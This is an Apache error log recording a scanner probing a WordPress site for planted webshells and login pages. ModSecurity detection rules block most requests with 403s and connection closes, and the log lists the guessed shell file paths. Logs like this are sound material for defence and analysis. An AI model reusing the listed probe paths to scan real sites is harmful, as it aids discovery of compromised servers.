[Sat Dec 20 21:49:52.950631 2025] [proxy_fcgi:error] [pid 33749:tid 33774] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:53.279622 2025] [proxy_fcgi:error] [pid 33749:tid 33761] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:53.908603 2025] [proxy_fcgi:error] [pid 33749:tid 33768] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:54.253606 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:54.551715 2025] [proxy_fcgi:error] [pid 33749:tid 33758] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:54.881626 2025] [proxy_fcgi:error] [pid 33749:tid 33768] [client 85.203.34.18:54349] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:55.207205 2025] [:error] [pid 33749:tid 33757] [client 85.203.34.18:54349] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/file.php"] [unique_id "aUapg9oInXJnb96wei96vAAAAoY"]
[Sat Dec 20 21:49:56.121972 2025] [:error] [pid 33844:tid 33852] [client 85.203.34.15:54361] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aUaphCaNtwGsyqqVmQEGOQAAAwY"]
[Sat Dec 20 21:49:57.099113 2025] [:error] [pid 14286:tid 14303] [client 85.203.34.13:30493] [client 85.203.34.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aUaphZ7rbXIrw6rGSdaWZwAAAU0"]
[Sat Dec 20 21:49:57.719749 2025] [proxy_fcgi:error] [pid 33749:tid 33768] [client 85.203.34.4:48141] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:58.642608 2025] [proxy_fcgi:error] [pid 33749:tid 33755] [client 85.203.34.4:48141] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:49:58.963117 2025] [:error] [pid 33749:tid 33762] [client 85.203.34.4:48141] [client 85.203.34.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.4, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aUaphtoInXJnb96wei97JQAAAos"]
[Sat Dec 20 21:49:59.281008 2025] [:error] [pid 33749:tid 33775] [client 85.203.34.4:48141] [client 85.203.34.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUaph9oInXJnb96wei97KwAAApg"]
[Sat Dec 20 21:50:00.970230 2025] [proxy_fcgi:error] [pid 33570:tid 33595] [client 85.203.34.4:36233] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:01.297631 2025] [proxy_fcgi:error] [pid 33570:tid 33581] [client 85.203.34.4:36233] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:01.957602 2025] [:error] [pid 33570:tid 33578] [client 85.203.34.4:36233] [client 85.203.34.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUapiYTNveA-c6YcSrIevwAAAcI"]
[Sat Dec 20 21:50:02.532204 2025] [:error] [pid 33570:tid 33579] [client 85.203.34.28:34245] [client 85.203.34.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aUapioTNveA-c6YcSrIexAAAAcM"]
[Sat Dec 20 21:50:03.160622 2025] [proxy_fcgi:error] [pid 14286:tid 14303] [client 85.203.34.15:48097] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:03.446603 2025] [proxy_fcgi:error] [pid 14286:tid 14314] [client 85.203.34.15:48097] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:04.312629 2025] [proxy_fcgi:error] [pid 14286:tid 14306] [client 85.203.34.15:48097] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:04.616618 2025] [proxy_fcgi:error] [pid 14286:tid 14292] [client 85.203.34.15:48097] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:05.543605 2025] [proxy_fcgi:error] [pid 14286:tid 14298] [client 85.203.34.15:48097] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:05.826393 2025] [:error] [pid 14286:tid 14306] [client 85.203.34.15:48097] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aUapjZ7rbXIrw6rGSdaW-gAAAVA"]
[Sat Dec 20 21:50:06.403239 2025] [:error] [pid 39577:tid 39583] [client 85.203.34.23:61337] [client 85.203.34.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aUapjrviRnt1rJiSOfx5uQAAAMQ"]
[Sat Dec 20 21:50:07.011638 2025] [proxy_fcgi:error] [pid 39493:tid 39551] [client 85.203.34.32:34303] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:07.361624 2025] [proxy_fcgi:error] [pid 39493:tid 39567] [client 85.203.34.32:34303] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:07.956038 2025] [:error] [pid 39493:tid 39555] [client 85.203.34.32:34303] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aUapj2hjL2VG_FmIHqAMiQAAAIY"]
[Sat Dec 20 21:50:09.864620 2025] [proxy_fcgi:error] [pid 39577:tid 39583] [client 85.203.34.3:58743] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:10.448613 2025] [proxy_fcgi:error] [pid 39577:tid 39595] [client 85.203.34.3:58743] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:10.754136 2025] [:error] [pid 39577:tid 39585] [client 85.203.34.3:58743] [client 85.203.34.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/about.php"] [unique_id "aUapkrviRnt1rJiSOfx55wAAAMY"]
[Sat Dec 20 21:50:11.674507 2025] [:error] [pid 33687:tid 33700] [client 85.203.34.49:25969] [client 85.203.34.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aUapkzYMR4qK1N4g7vjfsQAAAko"]
[Sat Dec 20 21:50:12.889622 2025] [proxy_fcgi:error] [pid 33844:tid 33867] [client 85.203.34.48:50291] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:13.496371 2025] [:error] [pid 33844:tid 33862] [client 85.203.34.48:50291] [client 85.203.34.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aUaplSaNtwGsyqqVmQEGogAAAxA"]
[Sat Dec 20 21:50:14.097636 2025] [proxy_fcgi:error] [pid 39577:tid 39598] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:14.382194 2025] [proxy_fcgi:error] [pid 39577:tid 39587] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:15.233441 2025] [proxy_fcgi:error] [pid 39577:tid 39593] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:15.864610 2025] [proxy_fcgi:error] [pid 39577:tid 39585] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:16.163633 2025] [proxy_fcgi:error] [pid 39577:tid 39584] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:16.509384 2025] [proxy_fcgi:error] [pid 39577:tid 39598] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:16.817663 2025] [proxy_fcgi:error] [pid 39577:tid 39587] [client 85.203.34.11:46525] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:17.103151 2025] [:error] [pid 39577:tid 39582] [client 85.203.34.11:46525] [client 85.203.34.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aUapmbviRnt1rJiSOfx6EgAAAMM"]
[Sat Dec 20 21:50:17.712647 2025] [proxy_fcgi:error] [pid 39493:tid 39554] [client 85.203.34.21:22363] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:18.030617 2025] [proxy_fcgi:error] [pid 39493:tid 39550] [client 85.203.34.21:22363] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:18.919264 2025] [proxy_fcgi:error] [pid 39493:tid 39568] [client 85.203.34.21:22363] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:19.208405 2025] [:error] [pid 39493:tid 39566] [client 85.203.34.21:22363] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aUapm2hjL2VG_FmIHqAM6wAAAJE"]
[Sat Dec 20 21:50:19.772969 2025] [:error] [pid 33793:tid 33803] [client 85.203.34.21:22713] [client 85.203.34.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aUapm1SicyB0BFmbRMzjXwAAAsg"]
[Sat Dec 20 21:50:20.381617 2025] [proxy_fcgi:error] [pid 39493:tid 39570] [client 85.203.34.9:34337] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:20.750885 2025] [proxy_fcgi:error] [pid 39493:tid 39572] [client 85.203.34.9:34337] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:21.426046 2025] [proxy_fcgi:error] [pid 39493:tid 39560] [client 85.203.34.9:34337] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:22.048648 2025] [proxy_fcgi:error] [pid 39493:tid 39572] [client 85.203.34.9:34337] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:22.972276 2025] [:error] [pid 39493:tid 39559] [client 85.203.34.9:34337] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aUapnmhjL2VG_FmIHqANKQAAAIo"]
[Sat Dec 20 21:50:24.839625 2025] [proxy_fcgi:error] [pid 33687:tid 33702] [client 85.203.34.19:64213] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:25.463454 2025] [:error] [pid 33687:tid 33691] [client 85.203.34.19:64213] [client 85.203.34.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.19, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aUapoTYMR4qK1N4g7vjgSAAAAkE"]
[Sat Dec 20 21:50:25.470787 2025] [proxy_fcgi:error] [pid 33687:tid 33691] [client 85.203.34.19:64213] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:25.771417 2025] [:error] [pid 33687:tid 33708] [client 85.203.34.19:64213] [client 85.203.34.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.19, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aUapoTYMR4qK1N4g7vjgTQAAAlI"]
[Sat Dec 20 21:50:26.071374 2025] [:error] [pid 33687:tid 33696] [client 85.203.34.19:64213] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aUapojYMR4qK1N4g7vjgUAAAAkY"]
[Sat Dec 20 21:50:26.699650 2025] [proxy_fcgi:error] [pid 33844:tid 33849] [client 85.203.34.42:50571] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:27.065660 2025] [proxy_fcgi:error] [pid 33844:tid 33850] [client 85.203.34.42:50571] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:27.381610 2025] [proxy_fcgi:error] [pid 33844:tid 33867] [client 85.203.34.42:50571] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:28.024631 2025] [proxy_fcgi:error] [pid 33844:tid 33859] [client 85.203.34.42:50571] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:29.201411 2025] [:error] [pid 33844:tid 33865] [client 85.203.34.42:50571] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aUappSaNtwGsyqqVmQEHKQAAAxM"]
[Sat Dec 20 21:50:29.879662 2025] [proxy_fcgi:error] [pid 62124:tid 62133] [client 85.203.34.30:42641] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:30.179265 2025] [:error] [pid 62124:tid 62150] [client 85.203.34.30:42641] [client 85.203.34.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aespa.php"] [unique_id "aUappls94zPA9ULQOjmQ8gAAABg"]
[Sat Dec 20 21:50:30.821707 2025] [proxy_fcgi:error] [pid 14247:tid 14261] [client 85.203.34.24:62915] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:31.122146 2025] [:error] [pid 14247:tid 14251] [client 85.203.34.24:62915] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUappyDv9TtKKdJQn9klQwAAAQI"]
[Sat Dec 20 21:50:31.769613 2025] [proxy_fcgi:error] [pid 14286:tid 14307] [client 85.203.34.1:48043] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:32.727711 2025] [proxy_fcgi:error] [pid 14286:tid 14305] [client 85.203.34.1:48043] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:33.023066 2025] [:error] [pid 14286:tid 14306] [client 85.203.34.1:48043] [client 85.203.34.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/mariju.php"] [unique_id "aUapqZ7rbXIrw6rGSdaYWAAAAVA"]
[Sat Dec 20 21:50:36.620632 2025] [proxy_fcgi:error] [pid 33749:tid 33753] [client 85.203.34.12:48403] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:37.889675 2025] [proxy_fcgi:error] [pid 33749:tid 33755] [client 85.203.34.12:48403] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:38.539200 2025] [:error] [pid 33749:tid 33753] [client 85.203.34.12:48403] [client 85.203.34.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aUaprtoInXJnb96wei996QAAAoI"]
[Sat Dec 20 21:50:39.134457 2025] [:error] [pid 33844:tid 33859] [client 85.203.34.11:51765] [client 85.203.34.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aUapryaNtwGsyqqVmQEHgAAAAw0"]
[Sat Dec 20 21:50:40.060631 2025] [proxy_fcgi:error] [pid 62124:tid 62144] [client 85.203.34.49:23167] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:41.175173 2025] [:error] [pid 62124:tid 62128] [client 85.203.34.49:23167] [client 85.203.34.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.49, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aUapsVs94zPA9ULQOjmRSQAAAAI"]
[Sat Dec 20 21:50:41.503617 2025] [proxy_fcgi:error] [pid 62124:tid 62138] [client 85.203.34.49:23167] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:42.098938 2025] [proxy_fcgi:error] [pid 62124:tid 62144] [client 85.203.34.49:23167] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:42.401345 2025] [:error] [pid 62124:tid 62147] [client 85.203.34.49:23167] [client 85.203.34.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aUapsls94zPA9ULQOjmRWQAAABU"]
[Sat Dec 20 21:50:42.965627 2025] [proxy_fcgi:error] [pid 39577:tid 39580] [client 85.203.34.19:38115] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:43.260144 2025] [:error] [pid 39577:tid 39590] [client 85.203.34.19:38115] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aUaps7viRnt1rJiSOfx7KAAAAMs"]
[Sat Dec 20 21:50:43.818342 2025] [:error] [pid 39577:tid 39591] [client 85.203.34.23:60439] [client 85.203.34.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aUaps7viRnt1rJiSOfx7LgAAAMw"]
[Sat Dec 20 21:50:44.674035 2025] [:error] [pid 14286:tid 14299] [client 85.203.34.17:34245] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUaptJ7rbXIrw6rGSdaYiAAAAUk"]
[Sat Dec 20 21:50:46.928686 2025] [proxy_fcgi:error] [pid 14286:tid 14304] [client 85.203.34.3:43031] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:47.569066 2025] [:error] [pid 14286:tid 14309] [client 85.203.34.3:43031] [client 85.203.34.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aUapt57rbXIrw6rGSdaYnAAAAVM"]
[Sat Dec 20 21:50:48.185631 2025] [proxy_fcgi:error] [pid 33749:tid 33760] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:48.491099 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:48.793644 2025] [proxy_fcgi:error] [pid 33749:tid 33762] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:49.735622 2025] [proxy_fcgi:error] [pid 33749:tid 33755] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:50.017895 2025] [proxy_fcgi:error] [pid 33749:tid 33770] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:50.383697 2025] [proxy_fcgi:error] [pid 33749:tid 33769] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:50.696651 2025] [proxy_fcgi:error] [pid 33749:tid 33755] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:51.010376 2025] [proxy_fcgi:error] [pid 33749:tid 33754] [client 85.203.34.25:36943] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:51.303019 2025] [:error] [pid 33749:tid 33772] [client 85.203.34.25:36943] [client 85.203.34.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/users.php"] [unique_id "aUapu9oInXJnb96wei9_HAAAApU"]
[Sat Dec 20 21:50:52.235717 2025] [proxy_fcgi:error] [pid 33570:tid 33589] [client 85.203.34.39:32793] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:53.139563 2025] [:error] [pid 33570:tid 33586] [client 85.203.34.39:32793] [client 85.203.34.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aUapvYTNveA-c6YcSrIgtAAAAco"]
[Sat Dec 20 21:50:54.039637 2025] [proxy_fcgi:error] [pid 39577:tid 39583] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:54.386615 2025] [proxy_fcgi:error] [pid 39577:tid 39590] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:54.683619 2025] [proxy_fcgi:error] [pid 39577:tid 39603] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:55.022607 2025] [proxy_fcgi:error] [pid 39577:tid 39589] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:55.669617 2025] [proxy_fcgi:error] [pid 39577:tid 39600] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:50:55.993618 2025] [proxy_fcgi:error] [pid 39577:tid 39584] [client 85.203.34.7:54627] AH01071: Got error 'Primary script unknown'
